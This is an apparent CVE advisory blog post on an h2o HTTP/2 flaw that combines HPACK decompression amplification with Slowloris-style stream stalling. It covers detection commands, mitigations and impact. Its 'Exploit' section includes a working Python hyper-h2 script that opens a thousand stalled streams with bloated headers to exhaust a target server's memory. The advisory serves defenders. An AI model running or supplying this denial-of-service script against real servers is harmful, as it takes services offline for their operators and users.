Listen to this Post
CVE-2026-54340 is a vulnerability in the h2o HTTP server affecting versions prior to commit 9265bdd. h2o is a high-performance C-language HTTP server that supports HTTP/1.x, HTTP/2, and HTTP/3. The flaw resides in the HTTP/2 protocol implementation, specifically in how the server handles HPACK header decompression in conjunction with stream lifecycle management.
HPACK is the header compression mechanism defined for HTTP/2. Under normal operation, the server decompresses incoming request headers and maintains the decoded state for the duration of the stream. The vulnerability allows an attacker to combine two amplification techniques: HPACK decompression amplification and Slowloris-style stream stalling.
In HPACK decompression amplification, a malicious client sends a carefully crafted HTTP/2 HEADERS frame containing a small HPACK-encoded payload that, when decompressed by the server, expands into an extremely large set of decoded header fields. This alone would be problematic, but the real danger comes from pairing it with stream stalling. The attacker initiates an HTTP/2 stream, sends the amplified header payload, and then simply stops transmitting data on that stream — keeping the connection alive but not progressing the stream to completion. Because the stream remains in an open state, the h2o server is forced to retain the entire decompressed header state in memory indefinitely.
By opening many such stalled streams concurrently, an attacker can cause the server to accumulate vast amounts of decompressed header data, leading to memory exhaustion and eventual denial-of-service. The attack requires minimal bandwidth from the attacker — the amplification factor is high, and the stalled streams consume server resources without requiring ongoing data transmission.
The issue is classified under CWE-400 (Uncontrolled Resource Consumption) and CWE-770 (Allocation of Resources Without Limits or Throttling). The CVSS v3.1 base score assigned by GitHub, Inc. is 7.5 (High) with vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H. The fix was introduced in commit 9265bdd9a996ed992681055e3996baf3e09d2063.
DailyCVE Form
Platform: h2o HTTP server
Version: before 9265bdd
Vulnerability: HPACK+Slowloris amplification
Severity: High (7.5 CVSS)
date: 2026-07-16
Prediction: 2026-07-17 (patch)
What Undercode Say
Analytics of the vulnerability reveal the following technical indicators and detection methods:
– Monitor memory consumption per HTTP/2 stream; sudden spikes in `h2o` process RSS (resident set size) may indicate exploitation.
– Track the ratio of HPACK decompressed size to wire bytes received — values exceeding 100:1 warrant investigation.
– Count the number of open HTTP/2 streams in `idle` or `half-closed (remote)` states; a high count with low data throughput is suspicious.
Check h2o process memory usage
ps aux | grep h2o | awk '{print $2, $4, $6, $11}'
Monitor active HTTP/2 streams via h2o status endpoint (if enabled)
curl -s http://localhost:8080/_status/json | jq '.http2.active_streams'
Track HPACK decompression ratios from h2o access logs (custom log format required)
tail -f /var/log/h2o/access.log | grep -E 'HPACK|decompress'
Detect stalled streams using netstat and lsof
netstat -antp | grep ESTABLISHED | grep h2o | wc -l
lsof -i :443 | grep h2o | wc -l
– Use system-level profiling to identify anomalous memory allocation patterns:
Sample h2o process heap with perf perf record -e kmem:mm_page_alloc -p $(pgrep h2o) -g -- sleep 30 perf script | grep -A 5 -B 5 "h2o" Valgrind massif for heap profiling (test environment only) valgrind --tool=massif --massif-out-file=massif.out h2o -c /etc/h2o/h2o.conf ms_print massif.out | grep -A 10 "snapshot"
Exploit
A remote unauthenticated attacker can exploit this vulnerability using the following high-level steps:
1. Establish an HTTP/2 connection to the target h2o server.
2. Craft a HEADERS frame containing a malicious HPACK-encoded header block. The block is designed to decompress into a large number of header fields (e.g., thousands of custom `x-` headers) or extremely large individual header values, causing amplification.
3. Transmit the HEADERS frame on a new stream, but do not send any further frames (no DATA, no END_STREAM, no RST_STREAM).
4. Leave the stream stalled — keep the TCP connection alive but do not progress the stream to completion. The server retains the decompressed header state for that stream indefinitely.
5. Repeat steps 2–4 across many concurrent connections/streams to exhaust server memory.
The following Python snippet using the `hyper-h2` library illustrates the core attack pattern:
import socket
import ssl
from h2.connection import H2Connection
from h2.config import H2Configuration
from h2.settings import SettingCodes
Target configuration
target_host = "192.168.1.100"
target_port = 443
Malicious HPACK payload: small wire size, huge decoded size
This example uses repeated header fields to cause amplification
MALICIOUS_HEADERS = [
(b":method", b"GET"),
(b":path", b"/"),
(b":scheme", b"https"),
(b":authority", b"example.com"),
] + [(b"x-bloat-" + str(i).encode(), b"X" 4096) for i in range(500)]
def create_stalled_stream():
Create SSL context (or plain HTTP for port 80)
ctx = ssl.create_default_context()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_host, target_port))
sock = ctx.wrap_socket(sock, server_hostname=target_host)
config = H2Configuration(client_side=True)
conn = H2Connection(config=config)
conn.initiate_connection()
sock.send(conn.data_to_send())
Send HEADERS frame with amplified HPACK block
stream_id = conn.get_next_available_stream_id()
conn.send_headers(stream_id, MALICIOUS_HEADERS, end_stream=False)
sock.send(conn.data_to_send())
Do NOT send END_STREAM or any further frames
Leave connection open — stream remains stalled
return sock, conn, stream_id
Launch multiple stalled streams
sockets = []
for _ in range(1000):
try:
sock, conn, sid = create_stalled_stream()
sockets.append(sock)
print(f"Stalled stream {sid} on connection {len(sockets)}")
except Exception as e:
print(f"Failed: {e}")
Keep connections alive indefinitely
import time
while True:
time.sleep(60)
The attack causes the server to retain the decompressed header state for each stalled stream. With enough streams, memory consumption grows until the server becomes unresponsive or crashes.
Protection
- Upgrade to commit `9265bdd` or later — this is the official fix that introduces proper bounds on decoded header state retention and implements better stream management controls.
- Apply backported patches for Debian bullseye (
2.2.5+dfsg2-6) and bookworm (2.2.5+dfsg2-7) once available; as of the latest tracking, these releases remain vulnerable. - Configure per-stream header size limits in h2o configuration (e.g.,
header-max-size,max-requests-per-connection) to cap the amount of decompressed header data accepted per stream. - Implement connection timeouts and stream timeouts to automatically close stalled or idle HTTP/2 streams after a defined period.
- Deploy a reverse proxy (e.g., HAProxy, nginx) in front of h2o to filter and rate-limit HTTP/2 connections, dropping those with excessive header counts or abnormal HPACK ratios.
- Monitor and alert on memory usage spikes, active stream counts, and connection longevity using the analytics commands provided above.
- Consider disabling HTTP/2 temporarily if a patch cannot be applied immediately, falling back to HTTP/1.1.
Impact
- Denial of Service (Availability) : The primary impact is resource exhaustion. An attacker can cause the h2o server to consume all available memory, leading to service crashes or severe performance degradation. The CVSS availability impact is rated HIGH.
- Low Bandwidth, High Impact : The attack requires minimal network bandwidth from the attacker due to the HPACK amplification factor, making it feasible even from constrained environments.
- No Confidentiality or Integrity Impact : The vulnerability does not allow data exfiltration or modification; it is purely a denial-of-service vector.
- Wide Affected Surface : All h2o deployments prior to commit `9265bdd` are vulnerable. This includes versions packaged in Debian bullseye and bookworm, as well as various other distributions.
- Secondary Effects : In multi-tenant environments, memory exhaustion on the h2o server can impact all hosted applications and services sharing the same infrastructure.
- Exploitation Complexity : Low — the attack requires only basic knowledge of HTTP/2 and HPACK, and the tools to craft malicious frames are publicly available. No authentication is required.
- Mitigation Urgency : Given the ease of exploitation and the high severity score (7.5), administrators should prioritize patching or applying mitigations immediately.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
